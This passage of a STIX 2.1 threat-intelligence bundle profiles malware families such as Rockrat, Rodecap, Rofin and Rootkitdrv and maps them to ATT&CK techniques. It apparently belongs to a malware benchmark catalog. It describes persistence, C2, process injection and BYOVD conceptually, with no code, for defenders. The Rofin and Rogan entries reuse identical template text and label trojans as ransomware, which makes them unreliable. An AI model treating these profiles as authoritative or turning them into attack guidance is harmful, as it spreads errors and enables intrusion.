      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Roboinstall exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60ddf8c8-bee7-5588-83c2-902dce887f4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971657a1-0dc8-5fc5-a00f-79c5a7554164",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Roboinstall exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17a0f57d-3925-57a2-b10e-dafa60028524",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971657a1-0dc8-5fc5-a00f-79c5a7554164",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Roboinstall exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--080c1697-fa85-5a52-a486-78c5c5f71330",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971657a1-0dc8-5fc5-a00f-79c5a7554164",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Roboinstall exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef259ac2-69b8-5c07-bf6d-1242996505b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971657a1-0dc8-5fc5-a00f-79c5a7554164",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Roboinstall exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--11fb9575-e0a9-5023-b670-378cc31150a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rockrat",
      "description": "Backdoor:Win32/Rockrat is a specific family of Remote Access Trojan (RAT) designed to provide a threat actor with complete, interactive control over a compromised Windows endpoint (`T1059`). Like many modern RATs, Rockrat is often deployed as a secondary payload after an initial breach, allowing attackers to exfiltrate data, monitor user activity, and pivot laterally across the corporate network.<br><br><b>Understanding Rockrat (Remote Access)</b><br>To an end-user, the computer functions normally, though it may occasionally feel sluggish. For a SOC analyst, a Rockrat detection is a high-severity alert indicating an active, human-driven intrusion. An attacker sitting at a remote console is using Rockrat to interact with the machine in real-time, completely bypassing standard authentication controls.<br><br><b>Execution and Control Mechanics</b><br>Once deployed, Rockrat typically establishes persistence via standard Registry Run keys or hidden scheduled tasks (`T1547.001`). It then initiates a persistent, outbound connection to its Command and Control (C2) server (`T1071.001`). The RAT provides a suite of capabilities to the attacker: opening a hidden command shell (`cmd.exe`), capturing keystrokes (`T1056.001`), taking screenshots, downloading/uploading files, and sometimes activating the webcam or microphone.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of confidentiality and integrity for the compromised host. Host-based IoCs include unknown executables running from `%AppData%` or `%Temp%` making continuous outbound network connections. EDR logs may show Rockrat spawning `cmd.exe` to execute administrative commands (like `net user` or `ping`) or reading sensitive files. Network IoCs are characterized by long-lived TCP sessions with beaconing behavior to suspicious IP addresses or dynamic DNS domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rockrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rockrat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a4b9b68-004d-5f5c-b349-92ed11c73398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11fb9575-e0a9-5023-b670-378cc31150a4",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rockrat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Providing the attacker with an interactive shell))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c831571c-3d86-5709-b0ac-e9315557e83a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11fb9575-e0a9-5023-b670-378cc31150a4",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rockrat exhibits technique T1056.001 (Input Capture: Keylogging (Stealing credentials as they are typed))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cf7dead-1ec8-57b3-804b-505fc902cebd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11fb9575-e0a9-5023-b670-378cc31150a4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rockrat exhibits technique T1547.001 (Boot or Logon Autostart Execution (Ensuring the RAT survives reboots))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6cbeb65a-2f34-55a4-af11-dba833537a4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rodecap",
      "description": "Rodecap (cataloged by security vendors as Trojan:Win32/Rodecap.A, Trojan.Win32.Rodecap, TrojanDownloader:Win32/Rodecap, and Adware:Win64/Redcap) is an infamous high-volume spam-distributing trojan and botnet engine active since 2008. Designed to commandeer host system and network resources for illicit spam monetization campaigns, Rodecap spreads through drive-by downloads, exploit kit landing pages, and secondary trojan droppers. Upon execution, the malware drops executable payloads into %APPDATA% disguised as legitimate Windows administrative binaries (such as sessmgr.exe or esentutl.exe), securing persistence via Registry Run keys. Rodecap establishes outbound C2 connections using spoofed HTTP Host headers to retrieve spam email message templates, target recipient lists, and subject lines. The trojan features a built-in multithreaded direct-to-MX SMTP engine operating over TCP port 25 to blast millions of unsolicited pharmaceutical and phishing emails directly from the host, or alternatively uploads malicious PHP scripts to compromised Content Management System (WordPress/Joomla) servers to bypass email reputation filters, frequently resulting in catastrophic IP address blacklisting for infected corporate networks. (Observed samples in benchmark: 165)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Rodecap.A",
        "Trojan.Win32.Rodecap",
        "TrojanDownloader:Win32/Rodecap",
        "Adware:Win64/Redcap",
        "Trojan.Win64.REDCAP"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rodecap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rodecap"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8a5a548-6591-5985-81f6-ab190cfc8275",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cbeb65a-2f34-55a4-af11-dba833537a4c",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rodecap exhibits technique T1566.002 (Phishing: Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d69d870-e264-5282-958f-9cfe2edea525",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cbeb65a-2f34-55a4-af11-dba833537a4c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rodecap exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d6294ba-3d0a-50b3-8e16-f0e373b30661",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cbeb65a-2f34-55a4-af11-dba833537a4c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rodecap exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93bbbfe3-048b-528b-8c98-04a229015c3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cbeb65a-2f34-55a4-af11-dba833537a4c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rodecap exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--051703b2-c5d2-5b19-92cb-9780130b6e79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cbeb65a-2f34-55a4-af11-dba833537a4c",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rodecap exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6dbfda94-3be0-5185-b874-93704058c47e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rofin",
      "description": "Trojan:Win32/Rofin is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rofin</b><br>To an end-user, a Rofin infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rofin is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rofin is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rofin frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rofin reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rofin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rofin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e53811a-7722-5482-b47f-80a2a9d2a430",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dbfda94-3be0-5185-b874-93704058c47e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rofin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e104e9fa-41f4-5055-9321-fe53650e32c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dbfda94-3be0-5185-b874-93704058c47e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rofin exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3cb2c94-b0d6-5413-b793-26d84f17cb28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dbfda94-3be0-5185-b874-93704058c47e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rofin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9433f0a-db71-508e-bc18-fb2aa0103cf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dbfda94-3be0-5185-b874-93704058c47e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rofin exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32f76edb-75d4-56b7-aef3-564ea36a77ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dbfda94-3be0-5185-b874-93704058c47e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rofin exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--22e350c3-2055-552e-b6f9-1a21bf7afb31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rogan",
      "description": "Trojan:Win32/Rogan is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rogan</b><br>To an end-user, a Rogan infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rogan is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rogan is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rogan frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rogan reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rogan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rogan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc471d62-5876-5b10-9247-9caf648cf721",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22e350c3-2055-552e-b6f9-1a21bf7afb31",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rogan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eadea113-25cc-5731-bbd4-8b28a504aa1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22e350c3-2055-552e-b6f9-1a21bf7afb31",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rogan exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b87d4bc-07e5-5d5f-9459-c6c100ced9f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22e350c3-2055-552e-b6f9-1a21bf7afb31",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rogan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c1adab0-8f13-5ae9-997f-434af79c6243",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22e350c3-2055-552e-b6f9-1a21bf7afb31",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rogan exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67250d01-2941-53cf-8436-4f4369f03c7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22e350c3-2055-552e-b6f9-1a21bf7afb31",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rogan exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0134b0c-839c-5e2e-9edb-a9449585bcbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rontokbr",
      "description": "Worm:Win32/Rontokbr (also widely known as **Rontokbro** or Brontok) is a classic, highly pervasive computer worm that first surged in the mid-2000s. It was famous for primarily targeting users in Indonesia (it often displayed messages referencing Indonesian politics or culture). Unlike modern, stealthy malware, Rontokbro is 'noisy' and highly visible. It spreads aggressively via infected USB flash drives and massive email spam campaigns, disabling critical Windows administrative tools to prevent users from removing it.<br><br><b>Understanding the Rontokbro Worm Threat</b><br>To an end-user, a Rontokbro infection is incredibly disruptive; the machine frequently restarts, web browsers pop open to random HTML files, and folder options disappear. For an enterprise, an outbreak of a classic worm indicates a severe failure in USB device control policies and legacy AV signatures. While it doesn't typically steal data, it cripples productivity and consumes massive network bandwidth as it attempts to email copies of itself to every contact found on the machine.<br><br><b>Execution and Spreading Mechanics</b><br>Rontokbro primarily spreads via USB drives (`T1091`). When a user double-clicks what looks like a standard Windows folder icon on the USB drive (which is actually a `.exe` with a folder icon) (`T1036.003`), the worm executes. It immediately drops copies of itself into the `%AppData%` and `%WinDir%` directories (`T1547.001`). Crucially, to defend itself, it aggressively modifies the Registry to disable the Registry Editor (`regedit.exe`), the Task Manager (`taskmgr.exe`), and the Command Prompt (`cmd.exe`) (`T1562.001`). It also modifies Folder Options to hide system files and file extensions, making its dropped `.exe` files look like regular folders. It then harvests email addresses from the local machine and uses a built-in SMTP engine to spam out malicious attachments (`T1566.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded, unstable workstation and potential network congestion from outbound spam. IoCs are glaringly obvious: the user cannot open Task Manager or Regedit, getting an 'Administratively Disabled' error. Hidden files cannot be revealed via the Folder Options menu. EDR logs will show a single executable creating hundreds of hidden `.exe` files (often named after the folder they reside in) across local and mapped network drives. Network logs will show a massive spike in outbound port 25 (SMTP) traffic. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rontokbr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rontokbr"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59ba49c0-4999-5a4b-94b6-2e9924681b95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0134b0c-839c-5e2e-9edb-a9449585bcbf",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rontokbr exhibits technique T1091 (Replication Through Removable Media (USB spreading))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1af7b8f-11d7-5bbd-8d40-cb0fae4bc949",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0134b0c-839c-5e2e-9edb-a9449585bcbf",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rontokbr exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager/Regedit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--643d37d9-2546-58c1-82db-17a1205db468",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0134b0c-839c-5e2e-9edb-a9449585bcbf",
      "target_ref": "attack-pattern--f79bf5b1-78d9-5d23-a22a-0801845c009f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rontokbr exhibits technique T1036.003 (Masquerading: Rename System Utilities (Using folder icons for executables))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5542936e-b706-576e-8fd8-1b3666e18194",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0134b0c-839c-5e2e-9edb-a9449585bcbf",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rontokbr exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Self-propagation via email))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26a1df38-69fa-5b83-8efc-f8d5f82a4237",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rootkitdrv",
      "description": "Behavior:Win32/Rootkitdrv is a critical **Heuristic and Generic Detection** triggered when an endpoint defense platform (like Windows Defender or an EDR agent) detects a malicious, unverified, or highly suspicious kernel-mode driver (`.sys` file) attempting to load into the Windows Operating System. This is a severe alert indicating that an attacker is attempting to deploy a Rootkit to achieve 'Ring 0' privileges.<br><br><b>Understanding Rootkitdrv (Kernel-Level Evasion)</b><br>To an end-user, loading a malicious driver is entirely invisible. For a security team, a Rootkitdrv alert is a worst-case scenario on an endpoint. If a rootkit successfully loads into the kernel (`T1014`), it operates *below* the level of the antivirus software. It can actively intercept OS API calls to hide malicious processes, network connections, and files from user-land security tools (`T1562.001`), making the machine effectively un-trustable.<br><br><b>Execution and Exploitation Mechanics</b><br>Attackers typically deploy malicious drivers by first achieving administrator privileges (`T1068`). To bypass the 64-bit Windows requirement for Driver Signature Enforcement (DSE), attackers use a technique called 'Bring Your Own Vulnerable Driver' (BYOVD - `T1068`). They drop an old, legitimate, digitally signed driver (like from an older version of a hardware utility or anti-cheat engine) that has a known vulnerability. They load this vulnerable driver, exploit it from user-land, and use those escalated privileges to load their unsigned rootkit driver into memory.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is absolute compromise of the endpoint; the OS itself can no longer be trusted to report accurately. Host-based IoCs include EDR alerts for the installation of new System Services (`T1543.003`) pointing to unknown `.sys` files in `C:\\Windows\\System32\\drivers`. Event logs may show unexpected loading of very old, signed drivers (often associated with hardware vendors like ASUS or Capcom) immediately prior to the alert. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rootkitdrv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rootkitdrv"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce6ac05b-40a0-51e0-9384-778fa09d7e20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26a1df38-69fa-5b83-8efc-f8d5f82a4237",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rootkitdrv exhibits technique T1014 (Rootkit (Kernel-level evasion and hooking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba8972f3-2936-52ef-a5d3-864efa06e122",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26a1df38-69fa-5b83-8efc-f8d5f82a4237",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rootkitdrv exhibits technique T1068 (Exploitation for Privilege Escalation (BYOVD attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89da3b1e-e3c3-56ab-b525-1ee8d59812aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26a1df38-69fa-5b83-8efc-f8d5f82a4237",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rootkitdrv exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Loading the driver))."
